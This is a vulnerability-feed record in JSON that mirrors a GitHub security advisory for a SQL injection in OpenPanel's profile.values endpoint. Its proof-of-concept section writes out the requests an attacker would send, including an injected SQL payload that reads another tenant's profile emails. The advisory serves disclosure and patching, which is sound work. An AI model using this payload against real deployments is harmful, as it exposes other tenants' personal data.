{"schema":"threatline.record/2","record":{"id":"GHSA-4j6c-j6vc-xq96","aliases":["GHSA-4j6c-j6vc-xq96"],"summary":"ClickHouse SQL injection via profile.values","details":"# Summary\r\nClickHouse SQL injection in profile.values: attacker-controlled `property` is interpolated raw as a SELECT expression, enabling cross-tenant read of all projects' data\r\n\r\n\r\n# Impact\r\n\r\nAny authenticated user who has read access to a single project (trivially self-service: register, create a project) can read ARBITRARY data from any table and any tenant in the shared ClickHouse cluster. The injected SELECT expression can append its own FROM/WHERE that ignores the outer project_id scope and comment out the trailing `as values FROM profiles WHERE (project_id='...')`. The values are returned directly in the response `values` field (non-blind). Example: exfiltrate every profile email across all tenants, or dump any project's events/sessions (PII, IPs, revenue).\r\n\r\n# Details\r\n\r\nThe `clix`/sql-builder layer escapes VALUES via sqlstring.escape but interpolates identifier/expression positions raw. In profile.values, only the `property.startsWith('properties.')` branch escapes the key (as a Map-access string literal); the else branch places the raw user string directly into the SELECT list. sqlstring.escape cannot protect an expression position anyway, and no allowlist (e.g. isKnownEventField / a column whitelist) is applied.\r\n\r\n\r\n# POC\r\n\r\n\r\n**Register attacker:** \r\n\r\n`POST http://localhost:3333/trpc/auth.signUpEmail`\r\n   `{\"json\":{\"firstName\":\"A\",\"lastName\":\"T\",\"email\":\"a@evil.test\",\"password\":\"Sup3rSecret!123\",\"confirmPassword\":\"Sup3rSecret!123\"}}` \r\n\r\n**Create the attacker's project:** \r\n\r\n`POST /trpc/onboarding.project\r\n{\"json\":{\"organization\":\"AttackerOrg\",\"project\":\"attackerproj\",\"domain\":\"\",\"cors\":[],\"website\":true,\"app\":false,\"backend\":false}}` \r\n\r\n\r\n**As the attacker, call the query (URL-encode the input):**\r\n\r\n   `GET /trpc/profile.values?input={\"json\":{\"projectId\":\"attackerproj\",\"property\":\"email as values FROM profiles WHERE project_id = 'victimproj' -- \"}}` -> the response `result.data.json.values` contains the victim project's email.\r\n\r\n\r\n\r\n","categories":["Unclassified"],"product":"openpanel","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/Openpanel-dev/openpanel/security/advisories/GHSA-4j6c-j6vc-xq96","source_modified_at":"2026-10-11T19:30:27Z","fetched_at":"2026-10-28T15:55:58.673066Z","package":{"ecosystem":"openpanel-dev","name":"openpanel"},"range":"<= f8bb75744d0e933dad548c58306adfc27aaf64a6"}],"fixed_versions":[],"cvss":7.2,"severity":"High","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-10-11T19:30:27Z","modified_at":"2026-10-11T19:30:27Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/Openpanel-dev/openpanel/security/advisories/GHSA-4j6c-j6vc-xq96","fetched_at":"2026-10-28T15:55:58.673066Z","source_modified_at":"2026-10-11T19:30:27Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-10-11T19:30:27Z","content_hash":"1f54a59d570487d335df05e20a133f285ebeae812874fd03221966ae84636811"}}
